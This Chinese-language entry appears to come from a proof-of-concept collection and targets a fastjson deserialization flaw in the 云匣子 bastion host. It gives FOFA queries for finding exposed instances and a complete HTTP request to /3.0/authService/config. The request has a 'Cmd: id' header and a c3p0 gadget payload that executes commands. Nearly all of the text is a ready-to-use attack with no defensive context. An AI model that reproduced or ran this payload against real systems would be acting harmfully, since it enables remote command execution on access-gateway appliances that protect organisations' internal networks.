
## 云匣子堡垒机fastjson漏洞


## fofa
```
body="type=application/x-xtx-axhost" &&  cert="云匣子"
app="云安宝-云匣子"
```

## poc
```
POST /3.0/authService/config HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: id
Content-Type: application/json;charset=utf-8
Origin: https://your-ip
Referer: https://your-ip
Accept-Encoding: gzip
Connection: close
 
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    }, 
    "b": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", 
        "userOverridesAsString": "HexAsciiSerializedMap:[encoded data, 18694 characters];"
    }
}
```

![image](https://github.com/wy876/POC/assets/139549762/14d82902-beda-4cd6-ba4f-75cb4f32fc2a)
